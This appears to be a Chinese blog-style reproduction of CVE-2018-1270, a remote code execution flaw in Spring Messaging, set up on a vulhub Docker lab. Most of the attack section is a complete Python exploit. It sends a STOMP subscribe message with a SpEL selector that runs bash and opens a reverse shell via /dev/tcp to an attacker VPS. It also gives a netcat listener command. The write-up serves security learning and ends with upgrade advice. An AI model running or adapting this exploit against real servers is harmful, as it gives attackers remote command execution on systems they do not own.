CVE-2018-1270-Spring Messaging RCE漏洞复现

0x00 前言

--学如逆水行舟，不进则退

0x01 漏洞简介

Spring框架中通过spring-messaging模块来实现STOMP（Simple Text-Orientated Messaging Protocol），STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行。如果使用了Spring Security项目中的权限认证，可以在一定程度上增加漏洞利用难度。

漏洞解析:

CVE-2018-1270：spring-messaging远程代码执行漏洞分析预警 - 360CERT

0x02 影响版本

影响版本

1. Spring Framework 5.0 to 5.0.4.
2. Spring Framework 4.3 to 4.3.14
3. 已不支持的旧版本仍然受影响

   修复版本

4. 5.0.x 用户升级到5.0.5版本
5. 4.3.x 用户升级到4.3.15版本

0x03 漏洞复现

环境的话这里使用vulhub靶场，靶场的话需要使用到vulhub和docker，不会的话可以上网找一找

进入到vulhub中指定漏洞环境目录下，运行如下命令启动环境

docker-compose up -d

启动之后，出现以下页面，说明搭建成功

 

 搭建成功之后，直接使用exp，进行反弹shell

nc监听端口(端口根据自己情况定)

nc -lvvp 1122

 EXP： 记得要把红色部分改为自己的

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)


def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time() * 1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)

    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://靶场ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/vps的ip/vps端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

运行exp，发现反弹shell成功，如下图:

 0x04 漏洞修复

官方已经发布新版本修复了该漏洞，受影响的用户可升级至最新版本来防护该漏洞